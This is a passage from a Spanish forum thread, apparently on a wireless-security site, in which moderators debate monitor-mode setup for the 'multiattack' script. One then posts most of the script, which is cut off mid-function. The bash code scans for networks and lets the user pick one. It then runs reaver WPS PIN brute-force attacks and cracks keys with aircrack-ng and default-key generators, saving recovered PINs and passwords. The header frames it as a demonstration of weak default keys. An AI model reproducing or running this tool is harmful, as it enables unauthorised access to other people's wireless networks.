Autor Tema: nuevas modificaciones para multiattack , ..propuestas  (Leído 11372 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 14677
nuevas modificaciones para multiattack , ..propuestas
« en: 16-12-2012, 21:45 (Domingo) »
aqui van las mias.

1 - eliminar al arrancar las interfaces en monitor, ...para montarlas de nuevo limpiamente
2 - la parte de code antes de montar en monitor que se quiere poner

ifconfig wlanX down
ifconfig wlanx up
airmon-ng start wlanX


creo ....que ES MUCHISIMO MAS LIMPIO ASI

ifconfig wlanX down
airmon-ng start wlanX
ifconfig wlanX up
ifconfig monX up


asi aunque estubiesemos conectados a internet no habria pega,,ya que bajamos la interface,,y la monitor se crea a raiz de estar bajada la wlanX , sin quedarse en el canal del ap al que estamos conectados.

despues se levantan las dos, ..y la wlanX se vuelve a reconectar ( wicd lo hace el solito ) , y la monitor se cra limpia como las patenas.



Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 14677
Re: nuevas modificaciones para multiattack , ..propuestas
« Respuesta #1 en: 16-12-2012, 21:49 (Domingo) »
creo en el script wps, habria hacer lo mismo con las interfaces ...asi como digo , aunque estes conectado a internet no pasaria na de na.

m.k.

  • Visitante
Re: nuevas modificaciones para multiattack , ..propuestas
« Respuesta #2 en: 16-12-2012, 21:53 (Domingo) »
O.K.
Creo que lo he entendido.
Mañana trataré de mirarlo.

saludos

warcry

  • Visitante
Re: nuevas modificaciones para multiattack , ..propuestas
« Respuesta #3 en: 16-12-2012, 21:53 (Domingo) »
creo en el script wps, habria hacer lo mismo con las interfaces ...asi como digo , aunque estes conectado a internet no pasaria na de na.

si se conecta a internet el scaneo de canales se queda conectado en el canal de conexion con el ap  ^-^ ^-^ ^-^

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 14677
Re: nuevas modificaciones para multiattack , ..propuestas
« Respuesta #4 en: 16-12-2012, 21:57 (Domingo) »
creo en el script wps, habria hacer lo mismo con las interfaces ...asi como digo , aunque estes conectado a internet no pasaria na de na.

si se conecta a internet el scaneo de canales se queda conectado en el canal de conexion con el ap  ^-^ ^-^ ^-^

pedazo de trozo , lee el code.

bajamos wlanX ...aunque este conectada a inetrnet....

con lo que el canal ya da igual...

entonces airmon-ng 

monX limpita

y FINALMENTE , levantamos tanto wlan ( que se volvera a conectar a internet ) , como la interfaz nueva monitor,  ...que como bajemos la interfaz estar generada sin el canal bloqueado.

warcry

  • Visitante
Re: nuevas modificaciones para multiattack , ..propuestas
« Respuesta #5 en: 16-12-2012, 22:01 (Domingo) »
si yo leo

pero haz la prueba ;)

en el momento que tienes una wlan en modo managed enganchada el interface en modo monitor depende del interface fisico

si es facil

consola.

ifconfig wlan0 down
airmon-ng start wlan0
ifconfig wlan0 up
conectas con wicd
airodump-ng mon0

 ^-^ ^-^ ^-^

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 14677
Re: nuevas modificaciones para multiattack , ..propuestas
« Respuesta #6 en: 16-12-2012, 22:05 (Domingo) »
si yo leo

pero haz la prueba ;)

en el momento que tienes una wlan en modo managed enganchada el interface en modo monitor depende del interface fisico

si es facil

consola.

ifconfig wlan0 down
airmon-ng start wlan0
ifconfig wlan0 up
conectas con wicd
airodump-ng mon0

 ^-^ ^-^ ^-^

la teoria me dice , que si wlanX la bajo ya no estar conectada ni enganchada a ningun canal....entonces creo monitor ,,...que se cerara a raiz de estra bajada ,...

por eso al final es levantar tanto la wlan como la monitor.

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 14677
Re: nuevas modificaciones para multiattack , ..propuestas
« Respuesta #7 en: 16-12-2012, 22:06 (Domingo) »
es teoria ,..hay que probarlo ..jajaj

warcry

  • Visitante
Re: nuevas modificaciones para multiattack , ..propuestas
« Respuesta #8 en: 16-12-2012, 22:09 (Domingo) »
lo estoy haciendo ahora mismo y no se mueve del canal 11  ;D ;D ;D

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 14677
Re: nuevas modificaciones para multiattack , ..propuestas
« Respuesta #9 en: 16-12-2012, 22:10 (Domingo) »
Para que la gente entienda de que hablamos:

Si tenemos una tarjeta conectada a internet , y creamos una interface monitor,..esa interface monitor SOLO , escaneara el mismo canal, al que estamos conectados , ...

se trata de evitar esa situacion.

y generar una interface monitor limpia, que escanee sin problemas aunque se genere estando conectados a ninternet.

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 14677
Re: nuevas modificaciones para multiattack , ..propuestas
« Respuesta #10 en: 16-12-2012, 22:11 (Domingo) »
osea que bajando la tarjeta no se resuelve lo del canal fijado.  :-[

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 14677
Re: nuevas modificaciones para multiattack , ..propuestas
« Respuesta #11 en: 16-12-2012, 22:19 (Domingo) »
tal vez haya que matar tambien wpa_supplicant  ???

warcry

  • Visitante
Re: nuevas modificaciones para multiattack , ..propuestas
« Respuesta #12 en: 16-12-2012, 22:20 (Domingo) »
osea que bajando la tarjeta no se resuelve lo del canal fijado.  :-[

nop

pero todo tiene su logica, una interface monitor no hace sino utilizar el mismo dispositivo fisico, y una vez que tu tienes el dispositivo en modo managed, usease que si no no te puedes conectar, la interface en modo monitor entonces entra en conflicto con el modo managed.

vamos a esplicarlo para que la gente lo entienda.

tu tienes un cubo de plastico, y le vuelcas un bote de pintura blanca---pues tienes un cubo de plastico con pintura balnca (modo managed)
tu tienes un cubo de plastico, y le vuelcas un bote de pintura roja------pues tienes un cubo de plastico con pintura roja (modo monitor)

ahora coges el cubo de plastico y le vuelcas un bote de pintura blanca y otro de pintura roja---pues tienes un cubo de plastico de pintura rosa

y lo mismo pasa si haces al contrareo primero vuelcas un bote de pintura roja y luego otro de pintura blanca---pues vuelves a tener un cubo de plastico con pintura rosa

porque? porque utilizas el mismo cubo de plastico

y el orden de factores no altera el producto

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 14677
Re: nuevas modificaciones para multiattack , ..propuestas
« Respuesta #13 en: 16-12-2012, 22:31 (Domingo) »
si ya estoy viendo , no hay manera , es verdad en cuento la interface wlan se vuele a reconectar , se clava la monitor en el mismito canal.


asi que simplemente aremos lo de bajar y subir la interface ...para limpiar como en wpspingenerator , y a correr-.

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 14677
Re: nuevas modificaciones para multiattack , ..propuestas
« Respuesta #14 en: 16-12-2012, 22:52 (Domingo) »
Bueno , pues nos conformaremos con utmbar interfaces monitor por si acaso ....

( lineas  32 , 33 y 34 ) ,es mi cutre code, ...seguro se puede hacer mejor ,...que autodetecte y si no hay pos na y si hay, demsonte exactamente las monitor que hayan , pero de momeno la chapucilla vale para eliminar hasta 3 interfaces en monitor, ...creo esta bien asi.

lo otro es a la hora de montar en monitor, bajar y subir la interface ....

lineas 536 y 537

Código: [Seleccionar]
ifconfig $tarjselec down >/dev/null
ifconfig $tarjselec up >/dev/nul

y despues airmon-ng start

code completo y subido a R6


Código: [Seleccionar]
#! /bin/bash


#############################################################################################################
# Programa: multiattack.mk
# Autor: M.K. Maese Kamara para SeguridadWireless y elhacker
# version: 1.0.8.beta R6
# Fecha de esta version:        23-11-2012
# Version requerida de aircrack-ng:  AIRCRACK-NG 1.x
# Dependencias: aircrack-ng, grep, awk, xterm, Wlandecrypter 1.3.4, jazzteldecrypter, stkeys,
#               Dlinkdecrypter, wlan4xx, ono4xx, WPAmagickey,Reaver 1.4
#
#
#
#
#          Se han utilizado partes del codigo AIROSCRIPT mejorado Por Chinitiw y
#    elmanuvolador  para Seguridad Wireless
#
#  Nota: Este script ha sido creado para desmostrar lo facil que resulta el acceso a una red
# inalambrica cuya clave por defecto no haya sido cambiada.
#
#        No me hago responsable del uso que se pueda hacer de este script.
#
#        Para mayor seguridad de tu red WIFI pon cifrado WPA y una clave robusta
#
# Agradecimientos: a USUARIONUEVO por sus ideas para la mejora de este Script
#                  a naymenos por los reportes de bugs, aportes y la creación del manual de uso.
#                  a alist3r por dejarme usar HexString2ASCII
#
#############################################################################################################
# Eliminacion de interfaces en monitor
airmon-ng stop mon0 >/dev/null
airmon-ng stop mon1 >/dev/null
airmon-ng stop mon2 >/dev/null

# Establecer directorios de trabajo y valores iniciales
DUMP_key="/root/swireless/multiattack/keys"
DUMP_PATH="/root/swireless/multiattack/capturas"
DUMP_channel=""
FUDGEFACTOR="2"
WORDLIST="/tmp/multiattack_tmp/wordlist"
WORDLIST1="/tmp/multiattack_tmp/diccionariodlink"
WIFI=""
TEMP="/tmp/multiattack_tmp"
version=" 1.0.8 beta R6"
redesWPS=0
#crear rutas de trabajo multiattack
mkdir -p /root/swireless/multiattack/keys
mkdir -p /root/swireless/multiattack/capturas


# crear direcotrio para guardar keys si no existe
for ruta in $DUMP_key $DUMP_PATH ; do
  if [[ ! -d "$ruta" ]]; then rm -f "$ruta"; fi # si la ruta no es un directorio, se borra
  if [[ ! -e "$ruta" ]]; then mkdir "$ruta"; fi
  # si no existe la ruta (bien porque no existia ya antes o porque no era una carpeta y acabamos de borrarlo),
  # entonces creamos la carpeta
done
mkdir $TEMP




############################################################################################
####################################################################
#######################################
# StringFunctions.sh - v0.1 - por alist3r
# con la inestimable ayuda de toda la crew de SW
# En este script iremos añadiendo funciones comunes
# para el manejo de cadenas ascci y hexa en nuestros scripts

# Vars Globales
HexString2ASCIIResult=
HexPair2ASCIIResult=


function HexString2ASCII {
# Debe recibir una cadena de texto hexa valida
# Devuelve el valor convertido mediante $HexStringToASCIIResult

HexString2ASCIIResult=
HexStringToASCIINotFullyPrintable=false
# lo primero es vaciar las variables de resultados
# por si acaso ya habiamos llamado a la funcion antes y tienen algo

stringtoprocess="`echo $1|tr -d ':'`"
# quitamos los ":"

stringtoprocess="`echo $stringtoprocess|tr '[:lower:]' '[:upper:]'`"

# la pasamos a uppercase porque si no BC no se entera de nada.

longitud=${#stringtoprocess} # averiguamos la longitud de la cadena

# es posible que necesitemos rellenar con un cero por delante si la longitud de la cadena es impar.
# si no, al tomar las parejas de bytes, empezaremos mal y acabaremos peor.
let "isnoon = $longitud % 2" # calcular el modulo de dos de la longitud de la cadena

if [ $isnoon -eq 1 ] ; then # el modulo de dos de un numero devuelve 1 si este es impar
let longitud=$longitud+1 # actualizamos la longitud de la cadena
stringtoprocess="0"$stringtoprocess # concatenamos un cero por delante
## echo "DEBUG:: Noon detected. Appending 0 to make pair"
fi

for ((puntero=1;puntero<=$longitud;puntero+=2)); do
# vamos a ir tomando parejitas de bytes de la cadena
# hasta procesarla por completo
currentpairofbytes=$( echo "` expr substr "$stringtoprocess" $puntero 2`" )
# Ahora tenemos una cadena con dos bytes hexa en $currentpairofbytes

foo=$( echo "obase=10; ibase=16; $currentpairofbytes" | bc )
# pasamos la cantidad hexadecimal a base decimal con BC
## echo "DEBUG:: foo value: " $foo
if [[ "$foo" -lt 32 || "$foo" -gt 126 ]] ; then

# si no es del 32 al 126, el codigo ASCII de este par no es imprimible
# si hay aunque sea un solo caracter no imprimible, activamos la flag
# $HexStringToASCIINotFullyPrintable
HexStringToASCIINotFullyPrintable=true
foo="."
# claro, algo tendremos que poner, pero el caracter
# en cuestion no es imprimible. lo tipico es el punto.
## echo "DEBUG:: Non printable char detected. Assuming \".\""
else
foo=$( printf "\x$(printf %x $foo)" )
# pasamos la cifra decimal a su equivalente ascii

fi
## echo "DEBUG:: " $stringtoprocess
HexString2ASCIIResult="$HexString2ASCIIResult"$foo # concatenamos el ASCII obtenido
done

}

################################################################################
############################################################3
###############################################


# ATAQUE CON REAVER #######
#
# Leer resultados de la captura y ver si hay alguna con WPS activado
#
function obtenerWPS {
# comprobar que existe fichero de captura, si no error.

if [ -e $DUMP_PATH/dump-01.cap ];then

xterm -iconic -e wash -C -f $DUMP_PATH/dump-01.cap -o $TEMP/wpsON.txt
if [ -e $TEMP/wpsON.txt ];then
echo "" >> $TEMP/multiattack.txt
echo "**************Se han encontrado las siguientes Redes con WPS activado  **************" >> $TEMP/multiattack.txt
echo "**************** por lo que son susceptibles de ataque con REAVER  ******************" >> $TEMP/multiattack.txt
echo "" >> $TEMP/multiattack.txt
echo "    MAC                    Channel      WPS Locked          ESSID" >> $TEMP/multiattack.txt
echo "" >> $TEMP/multiattack.txt
#xterm -iconic -e wash -C -f $DUMP_PATH/dump-01.cap -o $TEMP/wpsON.txt
#if [ -e $TEMP/wpsON.txt ];then
i=0
redesWPS=0
while read BSSID Channel RSSI WPSVersion WPSLocked ESSID;do
longueur=${#BSSID}
   if [ $longueur -eq 17 ] ; then
   i=$(($i+1))
if [ "$obtenerWPSon" = "on" ];then
    echo " $i) "$BSSID"       "$Channel"             "$WPSLocked"               "$ESSID >> $TEMP/multiattack.txt
fi

WPSbssid[$i]=$BSSID
WPSchanel[$i]=$Channel
WPSessid[$i]=$ESSID
 
 fi
redesWPS=$i

done < $TEMP/wpsON.txt
echo "" >> $TEMP/multiattack.txt
echo "*************************************************************************************" >> $TEMP/multiattack.txt
rm  -rf $TEMP/wpsON.txt
fi
else

clear
echo "                  * * *     A T E N C I O N     * * *                "
echo ""
echo "                  No se ha encontrado ninguna captura"
echo "                  antes debes capturar objetivos"
echo ""
echo "                     Pulsa INTRO para volver al menú"
read yn

menu
fi
obtenerWPSon=""
}

# Comprobar y leer los resultados del PIN Wps y key obtenidos con REAVER
function leerresultadosreaver {

logReaver="${WPSbssid[$WPSoption]}.log"

ap_mac=`echo $logReaver|awk -F "." '{print$1}'|tr : -`
echo " " >> $TEMP/$ap_mac".pin"
echo " " >> $TEMP/$ap_mac".pin"
cat $TEMP/$logReaver|tail -10 |grep "WPS PIN:"|tail -1> $TEMP/$ap_mac".pin"
cat $TEMP/$logReaver|tail -10 |grep "WPA PSK:"|tail -1>> $TEMP/$ap_mac".pin"
cat $TEMP/$logReaver|tail -10 |grep "AP SSID:"|tail -1>> $TEMP/$ap_mac".pin"
if [ -s $TEMP/$ap_mac".pin" ];then

echo "[+] AP MAC : `echo $ap_mac|tr - :`" >>$TEMP/$ap_mac".pin"
l1=`sed '1q;d' $TEMP/$ap_mac".pin"`
l2=`sed '2q;d' $TEMP/$ap_mac".pin"`
l3=`sed '3q;d' $TEMP/$ap_mac".pin"`
l4=`sed '4q;d' $TEMP/$ap_mac".pin"`




#  Guardar clave y PIN en archivo con ESSID y MAC de la red WPA
 MACsinpuntos="`echo ${WPSbssid[$WPSoption]}|tr -d ':'`"
archivoclave="${WPSessid[$WPSoption]}--$MACsinpuntos.pin"
l5="Copia guardada en: $DUMP_key/$archivoclave"
echo " ">>$TEMP/$ap_mac".pin"
echo $l5>>$TEMP/$ap_mac".pin"
# mostrar resultado en pantalla ##
#zenity --text-info --title="WPS PIN Encontrado" --filename="$TEMP/$ap_mac.pin"
xterm -hold -title "Multiattack $version WPS PIN Encontrado" $TOPLEFT -bg "#000000" -fg "#FFFFFF" -e cat $TEMP/$ap_mac".pin"   & sleep 1
#
> $DUMP_key/$archivoclave
echo  "" >> $DUMP_key/$archivoclave
echo  "" >> $DUMP_key/$archivoclave
echo  "Key obtenida con Multiattack $version" >> $DUMP_key/$archivoclave
echo  "" >> $DUMP_key/$archivoclave
echo  "" >> $DUMP_key/$archivoclave
echo  " [+] RED: ${WPSessid[$WPSoption]} " >> $DUMP_key/$archivoclave
echo  " [+] MAC: ${WPSbssid[$WPSoption]}  " >> $DUMP_key/$archivoclave
echo  "" >> $DUMP_key/$archivoclave
echo  " $l2 " >> $DUMP_key/$archivoclave
echo  " $l1" >> $DUMP_key/$archivoclave
echo  "" >> $DUMP_key/$archivoclave
echo "Para mayor seguridad de su red se recomienda que cambie la clave " >> $DUMP_key/$archivoclave
echo "por defecto y se utilice cifrado WPA con una clave robusta" >> $DUMP_key/$archivoclave
echo  "" >> $DUMP_key/$archivoclave
echo  "" >> $DUMP_key/$archivoclave
echo "Visita: www.seguridadwireless.net" >> $DUMP_key/$archivoclave
rm -rf $TEMP/$ap_mac".pin"
rm -rf $TEMP/$logReaver
fi
}

# Parametros y ataque con reaver

function reaverattack {
# COMPROBAR QUE HAY REDES CON WPS ACTIVADO, SI NO AVISO Y VOLVER AL MENU;
if  [ "$redesWPS" = "0" ];then
clear
echo ""
echo "  M U L T I A T T A C K   P A R A   P A T R O N E S   C O N O C I D O S"
echo ""
echo ""
echo "                        * * *     A T E N C I O N     * * *                "
echo ""
echo "                          No se ha encontrado ninguna RED "
echo "                          con WPS activado en la captura"
echo ""
echo "                          Pulsa INTRO para volver al menú"
read yn

menu
else
clear

echo ""
echo "  M U L T I A T T A C K   P A R A   P A T R O N E S   C O N O C I D O S"
echo ""
echo ""
echo "                Las siguientes redes son susceptibles de ataque con REAVER"
echo ""
echo "            MAC               Channel             ESSID"
echo ""

    i=$redesWPS
    countWPS=0
    while [ 1 -le $i ]; do
   countWPS=$(($countWPS+1))
echo " $countWPS)  ${WPSbssid[$countWPS]}           ${WPSchanel[$countWPS]}              ${WPSessid[$countWPS]}"
    i=$(($i-1))
    done   
echo ""
echo " 0) Para volver al menú "
echo ""
echo " --> Elija la Red a atacar"

read WPSoption
set -- ${WPSoption}
if [ $WPSoption -le $redesWPS ]; then
if [ "$WPSoption" = "0" ];then menu; fi
Reaverparameters=" -S -x 20 -r 100:10 -l 300 -vv"

paramReaver

else
echo " Opcion no valida... vuelva a elegir"
sleep 2
reaverattack

fi
fi
menu
}

# cambiar parametros y/o PIN

function paramReaver {
clear
echo ""
echo "  M U L T I A T T A C K   P A R A   P A T R O N E S   C O N O C I D O S"
echo ""
echo ""
echo "- Se lanzará REAVER hacia..."
echo ""
echo " RED: ${WPSessid[$WPSoption]}"
echo " MAC: ${WPSbssid[$WPSoption]} "
echo " CANAL: ${WPSchanel[$WPSoption]} "
echo ""
echo "- Con los siguientes Arguments..."
echo ""
echo " Arguments: $Reaverparameters "
  if [ "$PINparameters" != "" ];then
echo " PIN_WPS: $PINparameters"
  else
echo " PIN_WPS: Sin PIN definido"
  fi
echo ""
echo " #################################################"
echo " ### 1) Cambiar Arguments                  ###"
echo " ### 2) Agregar/Cambiar PIN a Arguments    ###"
echo " ### 3) Lanzar ataque WPS                  ###"
echo " ###                                       ###"
echo " ### 0) Volver al menú principal           ###"
echo " #################################################"
echo ""
echo "- Selecciona una opcion..."

read ParamOption

if [ "$ParamOption" = "0" ]; then
      menu
      fi
      if [ "$ParamOption" = "1" ]; then
      echo " Introduce todos los parametros a usar y pulsa INTRO"
      read Reaverparameters
      set -- ${Reaverparameters}
      echo " Cargando parametros..."; sleep 1
      paramReaver
      fi
if [ "$ParamOption" = "2" ]; then
  echo " Introduce el PIN a usar (4 u 8 caracteres, Vacio para ninguno) y pulsa INTRO "
  read PINparameters
  set -- ${PINparameters}
 
    case $PINparameters in *[^0-9]* )
      echo " El PIN introducido no es valido"
      PINparameters=""
      echo " Solo valores numericos"
      sleep 2
      paramReaver
      esac
     
 
  largopin=${#PINparameters}
      if [ "$largopin" != "4" ] && [ "$largopin" != "8" ] && [ "$largopin" != "0" ]; then
      echo " El PIN introducido no es valido"
      PINparameters=""
      sleep 2
      paramReaver
      else
      PIN_atake="-p $PINparameters"
      echo " Cargando PIN-WPS..."; sleep 1
      paramReaver
      fi
  fi
      if [ "$ParamOption" = "3" ] && [ "$PINparameters" = "" ]; then
cat >> /$TEMP/lanzarReaver.sh << EOF
      #!/bin/bash
      xterm $HOLD -title "MULTIATTACK  Ataque con REAVER" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e 'reaver -i $WIFI -b ${WPSbssid[$WPSoption]} -c ${WPSchanel[$WPSoption]} $Reaverparameters 2>&1 |tee /$TEMP/${WPSbssid[$WPSoption]}.log '
EOF
      chmod +x /$TEMP/lanzarReaver.sh
      /$TEMP/lanzarReaver.sh
      rm -rf /$TEMP/lanzarReaver.sh
#      xterm $HOLD -title "MULTIATTACK  Ataque con REAVER" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e reaver -i $WIFI -b ${WPSbssid[$WPSoption]} -c ${WPSchanel[$WPSoption]}  $Reaverparameters
      leerresultadosreaver
      menu
      fi
      if [ "$ParamOption" = "3" ] && [ "$PINparameters" != "" ]; then
cat >> /$TEMP/lanzarReaver.sh << EOF
      #!/bin/bash
      xterm $HOLD -title "MULTIATTACK  Ataque con REAVER" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e 'reaver -i $WIFI -b ${WPSbssid[$WPSoption]} -c ${WPSchanel[$WPSoption]}  $PIN_atake $Reaverparameters  2>&1 |tee /$TEMP/${WPSbssid[$WPSoption]}.log '
EOF
       chmod +x /$TEMP/lanzarReaver.sh
      /$TEMP/lanzarReaver.sh
      rm -rf /$TEMP/lanzarReaver.sh
#      xterm $HOLD -title "MULTIATTACK  Ataque con REAVER" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e reaver -i $WIFI -b ${WPSbssid[$WPSoption]} -c ${WPSchanel[$WPSoption]}  $PIN_atake $Reaverparameters
      leerresultadosreaver
      menu
      fi
     

echo " Opcion no valida... vuelva a elegir"
sleep 2
paramReaver

}





#poner tarjeta en modo monitor
#poner o seleccionar tarjeta en modo monitor
function monitor_mode {
clear
echo ""
echo "                     Ponga la interface en modo monitor "
echo "                   y/o cierre las ventanas para comenzar: "
sleep 2
clear
INTERFACES=`ip link|egrep "^[0-9]+"|cut -d ':' -f 2 |awk {'print $1'} |grep -v lo`
if [ $WIFI = "" ]
clear
then
echo "=> Seleccione Una interface: "
echo ""
select WIFI in $INTERFACES; do
break;
done
echo ""
echo "Interface seleccionado: $WIFI"
else
clear
fi
sleep 2
menu
}



function auto_select_monitor {
#! /bin/bash


#############################################################################################################
# Programa: monitormode
# Autor: M.K. Maese Kamara
#
# Detectar tarjetas y montar  en modo monitor

#############################################################################################################


#poner tarjeta en modo monitor AUTOMATICO

clear
t=0
if [ "$WIFI" = "" ]; then
> $TEMP/wireless.txt
cards=`airmon-ng|cut -d ' ' -f 1 | awk {'print $1'} |grep -v Interface #|grep -v  mon   `
echo $cards >> $TEMP/wireless.txt
tarj1=`cat $TEMP/wireless.txt | cut -d  ' ' -f 1  | awk  '{print $1}'`
tarj2=`cat $TEMP/wireless.txt | cut -d  ' ' -f 2  | awk  '{print $1}'`
rm  -rf $TEMP/wireless.txt

if  [ "$tarj1" = "" ]; then
clear
echo "                  * * *     A T E N C I O N     * * *                "
echo ""
echo "    No se ha encontrado ninguna tarjeta Wireless en este equipo"
echo ""
echo "    Pulsa ENTER para volver al menu"
read yn
menu
fi

if [ "$tarj1" = "$tarj2" ]; then
tarj2=""
fi

tarjselec=$tarj1

if [ "$tarj2" != "" ] ;then
echo
echo
echo "      Se han encontrado las siguientes tarjetas wifi en este equipo"
echo

airmon-ng |awk 'BEGIN { print "Tarjeta  Chip              Driver\n------- ------------------ ----------" } \
  { printf "%-8s %-8s %-1s %10s\n", $1, $2, $3, $4 | "sort -r"}' |grep -v Interface  |grep -v Chipset

echo "      selecciona una para utilizarla en modo monitor"
echo

tarj_wire=""
tarjselec=""
function selectarj {
select tarjselec in `airmon-ng | awk {'print $1 | "sort -r"'} |grep -v Interface |grep -v Chipset  `; do
break;
done

if [ "$tarjselec" = "" ]; then
echo "  La opcion seleccionada no es valida"
echo "  Introduce una opcion valida..."
selectarj
fi
}

if [ "$tarjselec" = "" ]; then
selectarj
fi

echo ""
echo "Interface seleccionado: $tarjselec"

fi
else
echo
fi
tarjmonitor=${tarjselec:0:3}
if [ "$tarjmonitor" != "mon" ] && [ "$WIFI" = "" ];then
echo ""
echo ""
echo "                    Se está montando la tarjeta en modo monitor"
echo ""
sleep 1
#limpieza interface

ifconfig $tarjselec down >/dev/null
ifconfig $tarjselec up >/dev/null

airmon-ng start $tarjselec >/dev/null
cards=`airmon-ng|cut -d ' ' -f 1 |awk {'print $1 | "sort -d"'} |grep -v Interface |grep -v wlan`
largo=${#cards}
final=$(($largo-4))
WIFI=${cards:final}
echo  " $WIFI ----> Se utlilizara en modo monitor."
sleep 2

else
if [ "$WIFI" = "" ];then
WIFI="$tarjselec"

echo ""
echo  " $WIFI ----> Se utlilizara en modo monitor."
sleep 2
fi
fi

if [ $areaver = "on" ]; then
areaver=""
obtenerWPS
reaverattack
fi

if [ $auto = "on" ]; then
automode
fi

if [ $only = "on" ]; then
onlyscan
fi

if [ $choose = "on" ]; then
choosescan
fi


menu
}


#  Salir y desmontar tarjeta
function DESMONTAR_tarj_y_salir {
if [ "$WIFI" != "" ]; then
clear
echo ""
  echo ""
  echo "  M U L T I A T T A C K   P A R A   P A T R O N E S   C O N O C I D O S"
  echo ""
  echo ""
  echo " ####################################################################"
  echo " ###                                                              ###"
  echo " ###     ¿ quiere desnontar la tarjeta antes de salir?            ###"
  echo " ###                                                              ###"
  echo " ###        (n) no   -> Salir sin desmontar                       ###"
  echo " ###        (m) Menú -> Volver al menú principal                  ###"
  echo " ###        ENTER    -> Desmontar y Salir                         ###"
  echo " ###                                                              ###"
  echo " ###                                                              ###"
  echo " ####################################################################"
  echo ""
  echo ""
read salida
set -- ${salida}

if [ "$salida" = "m" ]; then
menu
fi
if [ "$salida" = "n" ]; then
  echo ""
echo "         Hasta Pronto..."
sleep 2
clear
exit
fi
echo "$WIFI Ha sido desmontada"
airmon-ng stop $WIFI >/dev/null
fi
  echo ""
echo "         Hasta Pronto..."
sleep 2
clear
 exit

}

# Escaneo de redes antes de lanzar captura
function onlyscan {

clear
echo ""
echo "                    Se va a iniciar el Escaneo de redes "
echo ""
echo "                    Espere hasta ver todas las redes posibles"
echo "                    para seleccionar la captura optima."
echo "                    Cierre la shell de ESCANEO para continuar"
sleep 2
#  konsole -T "Scaneo de Objetivos ..." --nomenubar --schema LightPicture.schema -e airodump-ng -a $WIFI
xterm $HOLD -title "Escaneando Objetivos ..." $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -a $WIFI
only=""
menu
}

# comprobar si tarjeta está en monitor e iniciar CAPTURAS
function choosescan {

clear
chan=""
clear
  echo ""
  echo ""
  echo "  M U L T I A T T A C K   P A R A   P A T R O N E S   C O N O C I D O S"
  echo ""
  echo " ####################################################################"
  echo " ###                  Multiattack "$version"                  ###"
  echo " ###                                                              ###"
  echo " ###                                                              ###"
  echo " ###                                                              ###"
  echo " ###   1) Modo   ***********************************************  ###"
  echo " ###   2) Inici  **                                           **  ###"
  echo " ###   3) Inici  **                                           **  ###"
  echo " ###   4) Obten  **    Seleccione Canal de Capturas           **  ###"
  echo " ###   5) Obten  **                                           **  ###"
  echo " ###   6) Ejecu  **     Un solo canal     6                   **  ###"
  echo " ###   7) Ejecu  **     rango de canales  1-5                 **  ###"
  echo " ###   8) Manua  **     Multiples canales 1,2,5-7,11          **  ###"
  echo " ###             **                                           **  ###"
  echo " ###   0) Salir  **     Enter: todos los canales              **  ###"
  echo " ###             **                                           **  ###"
  echo "        ###             ***********************************************  ###"
  echo " ###                                                              ###"
  echo " ###                                                              ###"
  echo " ###                                                              ###"
  echo " ###                                                              ###"
  echo " ###                                                              ###"
  echo " ####################################################################"
  read DUMP_channel
set -- ${DUMP_channel}

clear
   if [ "$DUMP_channel" = "$chan" ]; then
   canal="... Todos los canales..."
   else
   canal="El[os] Canal[es] ... $DUMP_channel ..."
   fi
echo ""
echo "                    Se va a iniciar la captura en $canal"
echo ""
echo "           Cuando tenga suficientes Datas (4 minimo para encriptacion WEP)"
echo "                    cierra la shell de CAPTURAS para continuar...   "
sleep 3
if [ -e $DUMP_PATH/dump-01.cap ]; then
rm  $DUMP_PATH/dump*
fi

   if [ "$DUMP_channel" = "$chan" ]; then
xterm $HOLD -title "Capturando Objetivos en $canal..." $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng  -w $DUMP_PATH/dump -a $WIFI & sleep 1
   else
xterm $HOLD -title "Capturando Objetivos en $canal..." $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng --channel "$DUMP_channel" -w $DUMP_PATH/dump -a $WIFI & sleep 1
fi
choose=""
menu
}
#ejecutar AIRCRACK-NG para obtener clave
function crackauto1  {
   xterm -iconic -e aircrack-ng  -l $DUMP_key/$Host_SSID -K -w $WORDLIST -b $Host_MAC -f $FUDGEFACTOR -0 -s  $DUMP_PATH/*.cap
}
function crackauto2   {
   xterm -iconic -e aircrack-ng -l $DUMP_key/$Host_SSID -K -w $WORDLIST1 -b $Host_MAC -f $FUDGEFACTOR -0 -s  $DUMP_PATH/*.cap
}
# lanzar wlandecrypter
function wlandecrypter_auto {
# cd /root/swireless/wordlist
# kmdr-executor /usr/share/wifislax/wlandecrypter.kmdr
        rm -rf $TEMP/*
   xterm -iconic -e wlandecrypter  $Host_MAC $Host_SSID $WORDLIST
crackauto1
}
# lanzar jazzteldecrypter
function jazzteldecrypter_auto {
        rm -rf $TEMP/*
   xterm -iconic -e jazzteldecrypter  $Host_MAC $Host_SSID $WORDLIST
crackauto1
}
# lanzar stkeys WPA
function stkeys_auto_WPA {
        rm -rf $TEMP/*
pianista=`echo $Host_SSID | cut -d $hasta -f 2`
xterm -iconic -e stkeys -i $pianista -v -o $DUMP_key/$Host_SSID

}
function stkeys_auto_WEP {
rm -rf $TEMP/*
pianista=`echo $Host_SSID | cut -d $hasta -f 2`
xterm -iconic -e stkeys -i $pianista -v -o $WORDLIST
crackauto1
}
# lanzar dlinkdecrypter
function dlinkdecrypter_auto {
        rm -rf $TEMP/*
   xterm -iconic -e dlinkdecrypter.sh  $Host_MAC
crackauto2
}
# lanzar wlan4xx
function wlan4xx_auto {
# cd /root/swireless/wordlist
# kmdr-executor /usr/share/wifislax/wlan4xx.kmdr
        rm -rf $TEMP/*
